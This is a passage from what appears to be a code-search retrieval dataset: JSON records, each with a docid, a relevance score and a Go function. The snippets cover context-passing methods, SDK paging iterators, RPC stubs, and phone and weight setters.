*LogEvent)) *LogEvent {\n\tevent := logEventPool.Get().(*LogEvent)\n\tevent.reset()\n\tevent.onRelease = func(s []byte) []byte {\n\t\tnewEvent := logEventPool.Get().(*LogEvent)\n\t\tnewEvent.reset()\n\n\t\tnewEvent.addQuotedString(\"message\", message)\n\t\tnewEvent.endEntry()\n\n\t\tif hook != nil {\n\t\t\thook(newEvent)\n\t\t}\n\n\t\tnewEvent.addBytes(ctx, s)\n\t\tnewEvent.end()\n\n\t\tcontent := newEvent.content\n\t\tnewEvent.content = make([]byte, 0, 512)\n\t\tnewEvent.release()\n\t\treturn content\n\t}\n\n\tfor _, op := range inherits {\n\t\top(event)\n\t}\n\treturn event\n}", "title": "" }, { "docid": "e02f5cd067eda6905a782812d1d718a5", "score": "0.4354208", "text": "func (f *Fetch) withContext(ctx context.Context) *Fetch {\n\tif ctx == nil {\n\t\tpanic(\"fetch: nil context\")\n\t}\n\tnf := f.clone()\n\tnf.ctx = ctx\n\treturn nf\n}", "title": "" }, { "docid": "5b5c737ada5c1f6119b716542860944d", "score": "0.43481526", "text": "func (sub *Subscription) PollWithContext(handler term.FragmentHandler, fragmentLimit int) int {\n\n\timg := sub.images.Get()\n\tlength := len(img)\n\tvar fragmentsRead int\n\n\tif length > 0 {\n\t\tstartingIndex := sub.roundRobinIndex\n\t\tsub.roundRobinIndex++\n\t\tif startingIndex >= length {\n\t\t\tsub.roundRobinIndex = 0\n\t\t\tstartingIndex = 0\n\t\t}\n\n\t\tfor i := startingIndex; i < length && fragmentsRead < fragmentLimit; i++ {\n\t\t\tfragmentsRead += img[i].PollWithContext(handler, fragmentLimit-fragmentsRead)\n\t\t}\n\n\t\tfor i := 0; i < startingIndex && fragmentsRead < fragmentLimit; i++ {\n\t\t\tfragmentsRead += img[i].PollWithContext(handler, fragmentLimit-fragmentsRead)\n\t\t}\n\t}\n\n\treturn fragmentsRead\n}", "title": "" }, { "docid": "a1f797a07c0bccb6d6e5436982bdd34c", "score": "0.4347", "text": "func (page *ManagedInstanceOperationListResultPage) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/ManagedInstanceOperationListResultPage.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif page.Response().Response.Response != nil {\n\t\t\t\tsc = page.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tfor {\n\t\tnext, err := page.fn(ctx, page.miolr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpage.miolr = next\n\t\tif !next.hasNextLink() || !next.IsEmpty() {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "60fe74f121f3309a478de7d6599643c9", "score": "0.4340694", "text": "func (o *ExportImageParams) WithContext(ctx context.Context) *ExportImageParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "b1210b7f4c8ebbb3a5bdb13e7a0fdd36", "score": "0.43389553", "text": "func (e *Image) Get(ctx context.Context, k int64) {\n\tGet(ctx, \"image\", k, e)\n}", "title": "" }, { "docid": "37e91b7e31c9570363cca92593437f36", "score": "0.43344316", "text": "func addtoContext(r *http.Request, key string, value interface{}) *http.Request {\n\tctx := r.Context()\n\treturn r.WithContext(context.WithValue(ctx, key, value))\n}", "title": "" }, { "docid": "f02b4ee1731c50ff162b6814b95f6b40", "score": "0.43330935", "text": "func With(ctx context.Context, name string) string {\n\treturn Get(ctx) + \"/\" + name\n}", "title": "" }, { "docid": "154fc5e55dd8819dfebed3892cfd1609", "score": "0.43328428", "text": "func NewWithContext(ctx context.Context) *Got {\n\treturn &Got{\n\t\tctx: ctx,\n\t\tClient: DefaultClient,\n\t}\n}", "title": "" }, { "docid": "4a1bf7659cc893b9801aca531ae672a2", "score": "0.43324137", "text": "func (o *GetImageFromDefaultWithRuntimeParams) WithHTTPClient(client *http.Client) *GetImageFromDefaultWithRuntimeParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "41cbac3748c6e648b97626e52b4fedf5", "score": "0.43318793", "text": "func (r *Requester) PutWithContext(ctx context.Context, path string, body []byte, opts ...Opt) (resp *http.Response, err error) {\n\treturn r.RequestWithContext(ctx, http.MethodPut, path, body, opts)\n}", "title": "" }, { "docid": "5f3f132dacbf9da2250997f9e959f3cb", "score": "0.43310702", "text": "func (m pWithContext) Extend(fnct func(m.ModelMixinSet, string, interface{}) m.ModelMixinSet) pWithContext {\n\treturn pWithContext{\n\t\tMethod: m.Method.Extend(fnct),\n\t}\n}", "title": "" }, { "docid": "b0cb278131c859316dafc5f51ec87517", "score": "0.43304515", "text": "func (c *ProjectsLocationsImageRedactCall) Context(ctx context.Context) *ProjectsLocationsImageRedactCall {\n\tc.ctx_ = ctx\n\treturn c\n}", "title": "" }, { "docid": "23ff2310f5b0edfbeb5f2aff6128964a", "score": "0.43256557", "text": "func (o *CreateCustomImageParams) WithContext(ctx context.Context) *CreateCustomImageParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "0cc91cc2f08475832f4aad3950485259", "score": "0.43227226", "text": "func defaultOptions(c *Context) error {\n\n\tc.path = DataPath()\n\n\tif runtime.GOOS == \"darwin\" {\n\t\tc.folder = \"/tmp\"\n\t}\n\n\tc.image = \"frenata/xaqt-sandbox\"\n\n\tc.timeout = time.Second * 5\n\treturn nil\n}", "title": "" }, { "docid": "5d4d68edae04755f7ad5137b909446f3", "score": "0.43220615", "text": "func withImageBuildCfg(imgBuildCfg *imageBuildConfig) assignmentEnvironmentImageBuilderOption {\n\treturn func(asgmtEnv *assignmentEnvironmentImageBuilder) error {\n\t\tif imgBuildCfg == nil {\n\t\t\treturn errors.New(\"image build config instance not provided\")\n\t\t}\n\t\tasgmtEnv.ImgBuildConfig = imgBuildCfg\n\t\treturn nil\n\n\t}\n}", "title": "" }, { "docid": "a741faa0501182272e66d449eaa8f524", "score": "0.43202457", "text": "func (o *GetPreviewParams) WithContext(ctx context.Context) *GetPreviewParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "2419771723db5e53bf768553dc750f7f", "score": "0.43085265", "text": "func WithContext(f http.File, ctx context.Context) http.File {\n\tfCtx, ok := f.(contexter)\n\tif !ok {\n\t\treturn f\n\t}\n\treturn fCtx.WithContext(ctx)\n}", "title": "" }, { "docid": "64d582232b01d88026716cce34929e9b", "score": "0.43081647", "text": "func WMIQueryWithContext(ctx context.Context, query string, dst interface{}, connectServerArgs ...interface{}) error {\n\terrChan := make(chan error, 1)\n\tgo func() {\n\t\terrChan <- wmi.Query(query, dst, connectServerArgs...)\n\t}()\n\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tcase err := <-errChan:\n\t\treturn err\n\t}\n}", "title": "" }, { "docid": "77dc0657b0e4bc17bc3aa93f5cee225b", "score": "0.4306112", "text": "func (m S3MockDownloader) DownloadWithContext(_ aws.Context, _ io.WriterAt, _ *s3.GetObjectInput, _ ...func(*s3manager.Downloader)) (n int64, err error) {\n\treturn m.Downloaded, m.SideEffect\n}", "title": "" }, { "docid": "432d288595c6386037abd5e22189a1f6", "score": "0.4304635", "text": "func (page *InstanceFailoverGroupListResultPage) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/InstanceFailoverGroupListResultPage.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif page.Response().Response.Response != nil {\n\t\t\t\tsc = page.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tfor {\n\t\tnext, err := page.fn(ctx, page.ifglr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpage.ifglr = next\n\t\tif !next.hasNextLink() || !next.IsEmpty() {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8b20a857a204d46308afa2bbb798a84c", "score": "0.43001494", "text": "func NewGetImageFromDefaultWithRuntimeParamsWithTimeout(timeout time.Duration) *GetImageFromDefaultWithRuntimeParams {\n\tvar ()\n\treturn &GetImageFromDefaultWithRuntimeParams{\n\n\t\ttimeout: timeout,\n\t}\n}", "title": "" }, { "docid": "4359e9f9a9a6ce8ca8382ddb7b0085d4", "score": "0.4296401", "text": "func (h *HandlerFuncAdapterV2) ProxyWithContext(ctx context.Context, event events.APIGatewayV2HTTPRequest) (events.APIGatewayV2HTTPResponse, error) {\n\treq, err := h.EventToRequestWithContext(ctx, event)\n\treturn h.proxyInternal(req, err)\n}", "title": "" }, { "docid": "4a3141ea6d2cee2bcdb72febc8fc8e3e", "score": "0.4290763", "text": "func (p *Proc) RunWithContext(ctx context.Context) error {\n\treturn runLine(ctx, p)\n}", "title": "" }, { "docid": "7e5a49a46829356d70242e4fafbf2548", "score": "0.4286598", "text": "func (_obj *WebApiNoAuth) GetCaptchaOneWayWithContext(tarsCtx context.Context, res *GetCaptcha_res, _opt ...map[string]string) (err error) {\n\n\tvar length int32\n\tvar have bool\n\tvar ty byte\n\t_os := codec.NewBuffer()\n\terr = (*res).WriteBlock(_os, 1)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar _status map[string]string\n\tvar _context map[string]string\n\tif len(_opt) == 1 {\n\t\t_context = _opt[0]\n\t} else if len(_opt) == 2 {\n\t\t_context = _opt[0]\n\t\t_status = _opt[1]\n\t}\n\t_resp := new(requestf.ResponsePacket)\n\n\terr = _obj.s.Tars_invoke(tarsCtx, 1, \"GetCaptcha\", _os.ToBytes(), _status, _context, _resp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(_opt) == 1 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t} else if len(_opt) == 2 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t\tfor k := range _status {\n\t\t\tdelete(_status, k)\n\t\t}\n\t\tfor k, v := range _resp.Status {\n\t\t\t_status[k] = v\n\t\t}\n\n\t}\n\t_ = length\n\t_ = have\n\t_ = ty\n\treturn nil\n}", "title": "" }, { "docid": "dde5311928d1aceaca54e40130736568", "score": "0.42855844", "text": "func (f *FS) NewReaderWithContext(ctx context.Context, objectname string) (io.ReadCloser, error) {\n\tioc, err := f.client.GetContainerReference(f.bucket).GetBlobReference(objectname).Get(nil)\n\tif err != nil {\n\t\t// translate the string error to typed error\n\t\tif strings.Contains(err.Error(), \"404\") {\n\t\t\treturn nil, cloudstorage.ErrObjectNotFound\n\t\t}\n\t\treturn nil, err\n\t}\n\treturn ioc, nil\n}", "title": "" }, { "docid": "cc7ef2e44a1b3c19a6beae478d6ded89", "score": "0.42850545", "text": "func (c Client) LookupWithContext(ctx context.Context, ip string) (IP, error) {\n\tresp, err := c.RawLookupWithContext(ctx, ip)\n\tif err != nil {\n\t\treturn IP{}, err\n\t}\n\n\tdefer func() {\n\t\t_, _ = io.Copy(ioutil.Discard, resp.Body)\n\t\t_ = resp.Body.Close()\n\t}()\n\n\tpip, err := decodeIP(resp.Body)\n\tif err != nil {\n\t\treturn IP{}, err\n\t}\n\n\treturn pip, nil\n}", "title": "" }, { "docid": "76b9bea472943188fbd37fbca6a3b7ec", "score": "0.4283712", "text": "func (_obj *WebApiNoAuth) GetDictDataByDictTypeWithContext(tarsCtx context.Context, dictType string, res *DictData_res, _opt ...map[string]string) (err error) {\n\n\tvar length int32\n\tvar have bool\n\tvar ty byte\n\t_os := codec.NewBuffer()\n\terr = _os.Write_string(dictType, 1)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = (*res).WriteBlock(_os, 2)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar _status map[string]string\n\tvar _context map[string]string\n\tif len(_opt) == 1 {\n\t\t_context = _opt[0]\n\t} else if len(_opt) == 2 {\n\t\t_context = _opt[0]\n\t\t_status = _opt[1]\n\t}\n\t_resp := new(requestf.ResponsePacket)\n\n\terr = _obj.s.Tars_invoke(tarsCtx, 0, \"GetDictDataByDictType\", _os.ToBytes(), _status, _context, _resp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_is := codec.NewReader(tools.Int8ToByte(_resp.SBuffer))\n\terr = (*res).ReadBlock(_is, 2, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(_opt) == 1 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t} else if len(_opt) == 2 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t\tfor k := range _status {\n\t\t\tdelete(_status, k)\n\t\t}\n\t\tfor k, v := range _resp.Status {\n\t\t\t_status[k] = v\n\t\t}\n\n\t}\n\t_ = length\n\t_ = have\n\t_ = ty\n\treturn nil\n}", "title": "" }, { "docid": "f106050811f8f6148cdb71d40eb4f663", "score": "0.4280944", "text": "func (o *GiftWrappingWrappingRepositoryV1GetGetParams) SetContext(ctx context.Context) {\n\to.Context = ctx\n}", "title": "" }, { "docid": "5b26e89666b59bb5c4165a725ac22d16", "score": "0.42781478", "text": "func (iter *VirtualNetworkLinkListResultIterator) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/VirtualNetworkLinkListResultIterator.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif iter.Response().Response.Response != nil {\n\t\t\t\tsc = iter.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\titer.i++\n\tif iter.i < len(iter.page.Values()) {\n\t\treturn nil\n\t}\n\terr = iter.page.NextWithContext(ctx)\n\tif err != nil {\n\t\titer.i--\n\t\treturn err\n\t}\n\titer.i = 0\n\treturn nil\n}", "title": "" }, { "docid": "f0b23e3ac8c46e666adb64d229bbde51", "score": "0.42756265", "text": "func (iter *ManagedInstanceKeyListResultIterator) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/ManagedInstanceKeyListResultIterator.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif iter.Response().Response.Response != nil {\n\t\t\t\tsc = iter.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\titer.i++\n\tif iter.i < len(iter.page.Values()) {\n\t\treturn nil\n\t}\n\terr = iter.page.NextWithContext(ctx)\n\tif err != nil {\n\t\titer.i--\n\t\treturn err\n\t}\n\titer.i = 0\n\treturn nil\n}", "title": "" }, { "docid": "c687b1604be71d7b1edb1ae77eae78ff", "score": "0.42747334", "text": "func (o *GetImageFromDefaultWithRuntimeParams) WithType(typeVar string) *GetImageFromDefaultWithRuntimeParams {\n\to.SetType(typeVar)\n\treturn o\n}", "title": "" }, { "docid": "fd05c06d053bfd1861b7d887aadafa76", "score": "0.4273136", "text": "func (iter *ListByCustomRPManifestIterator) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/ListByCustomRPManifestIterator.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif iter.Response().Response.Response != nil {\n\t\t\t\tsc = iter.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\titer.i++\n\tif iter.i < len(iter.page.Values()) {\n\t\treturn nil\n\t}\n\terr = iter.page.NextWithContext(ctx)\n\tif err != nil {\n\t\titer.i--\n\t\treturn err\n\t}\n\titer.i = 0\n\treturn nil\n}", "title": "" }, { "docid": "9784b5862587b1b525b60887d8633d54", "score": "0.42690867", "text": "func (o *GetFileParams) WithContext(ctx context.Context) *GetFileParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "ea03fdedf54f76e73d86122b6edb387a", "score": "0.42646405", "text": "func (cc *ClientCommander) GetWithContext(ctx context.Context, path string) (Message, error) {\n\treq, err := cc.NewGetRequest(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn cc.networkSession.ExchangeWithContext(ctx, req)\n}", "title": "" }, { "docid": "3fd2da49fcd4296339a9b7760f57884d", "score": "0.42604285", "text": "func (i *IrisLambda) ProxyWithContext(ctx context.Context, req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {\n\tirisRequest, err := i.EventToRequestWithContext(ctx, req)\n\treturn i.proxyInternal(irisRequest, err)\n}", "title": "" }, { "docid": "cdcb34d20e9e9cc369949908893480e5", "score": "0.42598632", "text": "func (c *PhotoUpdateCall) Context(ctx context.Context) *PhotoUpdateCall {\n\tc.ctx_ = ctx\n\treturn c\n}", "title": "" }, { "docid": "3655c527e0d20fa4133f70aeb8254189", "score": "0.42590505", "text": "func (c *PhotoCreateCall) Context(ctx context.Context) *PhotoCreateCall {\n\tc.ctx_ = ctx\n\treturn c\n}", "title": "" }, { "docid": "0b9ed843771bd99df123df136c499e8d", "score": "0.42548308", "text": "func (page *WorkloadProtectableItemResourceListPage) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/WorkloadProtectableItemResourceListPage.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif page.Response().Response.Response != nil {\n\t\t\t\tsc = page.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tnext, err := page.fn(ctx, page.wpirl)\n\tif err != nil {\n\t\treturn err\n\t}\n\tpage.wpirl = next\n\treturn nil\n}", "title": "" } ]
9e938da9194a55bc0f184d6924928e78
AddPhone takes a single phone and weight and adds it to the WeightedPhones struct
[ { "docid": "81802ff03548786ce2b99e8bef435e55", "score": "0.8430713", "text": "func (w *WeightedPhones) AddPhone(phone Phone, weight int) {\n\tw.phones = append(w.phones, phone)\n\tw.weights = append(w.weights, weight)\n\tw.totalWeight += weight\n}", "title": "" } ]
[ { "docid": "c07441848021a4b3e079367a1783d0f5", "score": "0.6901852", "text": "func ExamplePerson_AddPhone() {\n\tperson := NewPerson()\n\t_ = person.AddPhone(testPhone, testPhoneCountryCode)\n\tfmt.Println(person.Phones[0].Number)\n\t// Output:9785550145\n}", "title": "" }, { "docid": "5104445ff7e57d22c3eaf9cfed50cfb0", "score": "0.616553", "text": "func TestAddPhone(t *testing.T) {\n\tt.Parallel()\n\n\tt.Run(\"missing both phone and country code\", func(t *testing.T) {\n\t\tperson := NewPerson()\n\t\terr := person.AddPhone(0, 0)\n\t\trequire.Error(t, err)\n\t\trequire.ErrorIs(t, err, ErrInvalidPhoneNumber)\n\t})\n\n\tt.Run(\"missing country code\", func(t *testing.T) {\n\t\tperson := NewPerson()\n\t\terr := person.AddPhone(testPhone, 0)\n\t\trequire.Error(t, err)\n\t\trequire.ErrorIs(t, err, ErrMissingCountryCode)\n\t})\n\n\tt.Run(\"missing phone\", func(t *testing.T) {\n\t\tperson := NewPerson()\n\t\terr := person.AddPhone(0, testPhoneCountryCode)\n\t\trequire.Error(t, err)\n\t\trequire.ErrorIs(t, err, ErrInvalidPhoneNumber)\n\t})\n\n\tt.Run(\"valid phone\", func(t *testing.T) {\n\t\tperson := NewPerson()\n\t\terr := person.AddPhone(testPhone, testPhoneCountryCode)\n\t\trequire.NoError(t, err)\n\t\trequire.NotEqual(t, 0, len(person.Phones))\n\t\trequire.Equal(t, testPhone, person.Phones[0].Number)\n\t\trequire.Equal(t, 1, person.Phones[0].CountryCode)\n\t})\n}", "title": "" }, { "docid": "af4b47face3400b4e6b8fd3f39e34dc0", "score": "0.5906464", "text": "func (r *JSONRenderer) AddWeight(weight float64, config *model.Config) (string, error) {\n\tres := success{\n\t\tSuccess: true,\n\t\tMessage: fmt.Sprintf(\"Added weight: %s\", util.WeightUnit(config.UnitSystem, weight)),\n\t}\n\tb, err := json.Marshal(res)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"could not marshal json, %v\", err)\n\t}\n\treturn string(b), nil\n}", "title": "" }, { "docid": "6fd1a4d0d90af0332863787d3bc29433", "score": "0.5878841", "text": "func (jmuo *JDModelUpdateOne) AddPhoneNumber(i int64) *JDModelUpdateOne {\n\tjmuo.mutation.AddPhoneNumber(i)\n\treturn jmuo\n}", "title": "" }, { "docid": "0309aad2b1135869317e44378673e7a2", "score": "0.5873728", "text": "func (quo *QuestionUpdateOne) AddWeight(f float64) *QuestionUpdateOne {\n\tquo.mutation.AddWeight(f)\n\treturn quo\n}", "title": "" }, { "docid": "c0414e1abf77e63e7c4e998a93f47ed5", "score": "0.58386266", "text": "func (jmu *JDModelUpdate) AddPhoneNumber(i int64) *JDModelUpdate {\n\tjmu.mutation.AddPhoneNumber(i)\n\treturn jmu\n}", "title": "" }, { "docid": "ba7a54508e60dae3c012e2495b42c238", "score": "0.5837286", "text": "func (ruo *RelationshipUpdateOne) AddWeight(i int) *RelationshipUpdateOne {\n\truo.mutation.AddWeight(i)\n\treturn ruo\n}", "title": "" }, { "docid": "803d9ca14d350fe6d31d33668c195583", "score": "0.57978237", "text": "func (ph *phoneBook) AddPerson( name, phone string){\n\ttmp := Person{\n\t\tId: lastId,\n\t\tName: name,\n\t\tPhone: phone,\n\t}\n\tlastId++\n\tph.pList = append(ph.pList, tmp)\n\tsaveInJSON()\n}", "title": "" }, { "docid": "da77893779cdb96525a73469741c1bf5", "score": "0.5676402", "text": "func (w WeightedPhones) RandomPhone() Phone {\n\tvar idx, rollingSum int\n\trandVal := int(rand.Float64() * float64(w.totalWeight))\n\tfor idx = 0; idx < len(w.weights); idx++ {\n\t\trollingSum += w.weights[idx]\n\t\tif randVal < rollingSum {\n\t\t\treturn w.phones[idx]\n\t\t}\n\t}\n\n\tfmt.Println(\"Should never get here\")\n\treturn w.phones[idx-1]\n}", "title": "" }, { "docid": "2a012c7320859599ab27815481f1c47b", "score": "0.56436986", "text": "func (ru *RelationshipUpdate) AddWeight(i int) *RelationshipUpdate {\n\tru.mutation.AddWeight(i)\n\treturn ru\n}", "title": "" }, { "docid": "388ac557fa99ef9456e7c93a1a4bd5af", "score": "0.5580602", "text": "func ExamplePerson_AddPhoneRaw() {\n\tperson := NewPerson()\n\t_ = person.AddPhoneRaw(testPhoneRaw)\n\tfmt.Println(person.Phones[0].Raw)\n\t// Output:19785550145\n}", "title": "" }, { "docid": "c64a5ecc707535599a4d0f3c96bf092e", "score": "0.55309665", "text": "func (qu *QuestionUpdate) AddWeight(f float64) *QuestionUpdate {\n\tqu.mutation.AddWeight(f)\n\treturn qu\n}", "title": "" }, { "docid": "d5564f23107dc9932d4b8f0ba252f0b7", "score": "0.5441763", "text": "func (w *SW) Add(item interface{}, weight int) {\n\tweighted := &weightedItem{item: item, Weight: weight, EffectiveWeight: weight}\n\n\tw.lock.Lock()\n\tdefer w.lock.Unlock()\n\n\tweighted.index = w.n\n\tw.items = append(w.items, weighted)\n\tw.n++\n\tw.totalWeight += weight\n}", "title": "" }, { "docid": "38ff47148d0edda98b4f30c1470bd503", "score": "0.5358277", "text": "func (puo *PatientUpdateOne) AddPhysicaltherapyrecord(p ...*Physicaltherapyrecord) *PatientUpdateOne {\n\tids := make([]int, len(p))\n\tfor i := range p {\n\t\tids[i] = p[i].ID\n\t}\n\treturn puo.AddPhysicaltherapyrecordIDs(ids...)\n}", "title": "" }, { "docid": "ce9d67d838fa7961cbec5ac0cdaa453c", "score": "0.5349269", "text": "func BenchmarkAddPhone(b *testing.B) {\n\tperson := NewPerson()\n\tfor i := 0; i < b.N; i++ {\n\t\t_ = person.AddPhone(testPhone, testPhoneCountryCode)\n\t}\n}", "title": "" }, { "docid": "21c5dfc6e0cbd7f3e6e3bc5698ec5ae5", "score": "0.533517", "text": "func (r *PhoneRepository) Add(phone *models.Phone) (int64, error) {\n\tsql := fmt.Sprintf(`\n\t\tINSERT INTO %s\n\t\t\t(user_id, phone) \n\t\tVALUES \n\t\t\t(?, ?);`, tableName)\n\n\tstmt, err := r.db.Prepare(sql)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tres, err := stmt.Exec(phone.UserID, phone.Phone)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn res.LastInsertId()\n}", "title": "" }, { "docid": "b7d8e51159d3aaaceb2958a175bcb89f", "score": "0.532061", "text": "func (avg *AverageType) Add(val, weight float64) {\n\tif weight > 0 {\n\t\tif weight > 1 {\n\t\t\tweight = 1\n\t\t}\n\t\toldWeight := avg.weight\n\t\tavg.weight += weight\n\t\tavg.value = (avg.value*oldWeight + val*weight) / avg.weight\n\t}\n}", "title": "" }, { "docid": "4b253202c6a982000d980c178d9ab661", "score": "0.5314371", "text": "func TestAddPhoneRaw(t *testing.T) {\n\tt.Parallel()\n\n\tt.Run(\"too short\", func(t *testing.T) {\n\t\tperson := NewPerson()\n\t\terr := person.AddPhoneRaw(\"12\")\n\t\trequire.Error(t, err)\n\t\trequire.ErrorIs(t, err, ErrInvalidPhoneNumber)\n\t})\n\n\tt.Run(\"valid name\", func(t *testing.T) {\n\t\tperson := NewPerson()\n\t\terr := person.AddPhoneRaw(testPhoneRaw)\n\t\trequire.NoError(t, err)\n\t\trequire.NotEqual(t, 0, len(person.Phones))\n\t\trequire.Equal(t, testPhoneRaw, person.Phones[0].Raw)\n\t})\n}", "title": "" }, { "docid": "ed679485c8a73216e50bf632e9a5075c", "score": "0.5221362", "text": "func (pu *PatientUpdate) AddPhysicaltherapyrecord(p ...*Physicaltherapyrecord) *PatientUpdate {\n\tids := make([]int, len(p))\n\tfor i := range p {\n\t\tids[i] = p[i].ID\n\t}\n\treturn pu.AddPhysicaltherapyrecordIDs(ids...)\n}", "title": "" }, { "docid": "8543584fcdbef59f3c6d11fb9c6a38f2", "score": "0.5216681", "text": "func (m *DomainDnsSrvRecord) SetWeight(value *int32)() {\n m.weight = value\n}", "title": "" }, { "docid": "3beba6abc169655a9f1fa7ed61047b49", "score": "0.51675445", "text": "func (o *TenancyContactsListParams) SetPhone(phone *string) {\n\to.Phone = phone\n}", "title": "" }, { "docid": "51b8fb2b466790c516ab78da524e9fb7", "score": "0.5141012", "text": "func (m *Map) Add(key string, weight ...int) {\n\tm.init()\n\n\tw := 1\n\tif len(weight) > 0 && weight[0] > 0 {\n\t\tw = weight[0]\n\t}\n\tm.checkCapicity(w)\n\n\tm.add(&Key{Key: key, Weight: w})\n\tm.sort()\n}", "title": "" }, { "docid": "277f9133fe1dc76f8a15e55f5894cc48", "score": "0.51203585", "text": "func addPhone(uri string) bool {\n\tif strings.HasPrefix(uri, \"tel://\") {\n\t\tRESULTS.Phones[uri[6:]] = true\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "3913b8690cc1e609535afb8108b8b0dc", "score": "0.51011926", "text": "func AddWeightTicketToPPMShipment(db *pop.Connection, ppmShipment *models.PPMShipment, userUploader *uploader.UserUploader, weightTicketTemplate *models.WeightTicket) {\n\tif ppmShipment == nil {\n\t\tlog.Panic(\"ppmShipment is required\")\n\t}\n\tif db == nil && ppmShipment.ID.IsNil() {\n\t\t// need to create an ID so we can use the ppmShipment as\n\t\t// LinkOnly\n\t\tppmShipment.ID = uuid.Must(uuid.NewV4())\n\t}\n\tcustoms := []Customization{\n\t\t{\n\t\t\tModel: *ppmShipment,\n\t\t\tLinkOnly: true,\n\t\t},\n\t}\n\tif weightTicketTemplate != nil {\n\t\tcustoms = append(customs, Customization{\n\t\t\tModel: *weightTicketTemplate,\n\t\t})\n\t}\n\tif db != nil && userUploader != nil {\n\t\tcustoms = append(customs, Customization{\n\t\t\tModel: models.UserUpload{},\n\t\t\tExtendedParams: &UserUploadExtendedParams{\n\t\t\t\tUserUploader: userUploader,\n\t\t\t\tAppContext: uploaderAppContext(db),\n\t\t\t},\n\t\t})\n\t}\n\tweightTicket := BuildWeightTicket(db, customs, nil)\n\tif db == nil {\n\t\t// tests expect a stubbed weight ticket built with this\n\t\t// factory method to have CreatedAt/UpdatedAt\n\t\tweightTicket.CreatedAt = ppmShipment.CreatedAt\n\t\tweightTicket.UpdatedAt = ppmShipment.UpdatedAt\n\t}\n\tppmShipment.WeightTickets = append(ppmShipment.WeightTickets, weightTicket)\n}", "title": "" }, { "docid": "a51be06d40105ccaba6a08949c143f6c", "score": "0.5095943", "text": "func (o *CustomerUpdateShippingContacts) SetPhone(v string) {\n\to.Phone = &v\n}", "title": "" }, { "docid": "8283c15cfcb1f77621cc70f481453f30", "score": "0.5048969", "text": "func (o *CreateCustomerFiscalEntitiesResponse) SetPhone(v string) {\n\to.Phone = &v\n}", "title": "" }, { "docid": "31de52eda2e3c6e53033e76daff57391", "score": "0.5029306", "text": "func (sb *ServerBuilder) Weight(weight int64) *ServerBuilder {\n\tsb.value.Weight = weight\n\treturn sb\n}", "title": "" }, { "docid": "3501e9bf7fe0c364f1d3e04c02324747", "score": "0.4942315", "text": "func NgramModelAddWord(model *NgramModel, word string, weight float32) int32 {\n\tcmodel, _ := (*C.ngram_model_t)(unsafe.Pointer(model)), cgoAllocsUnknown\n\tcword, 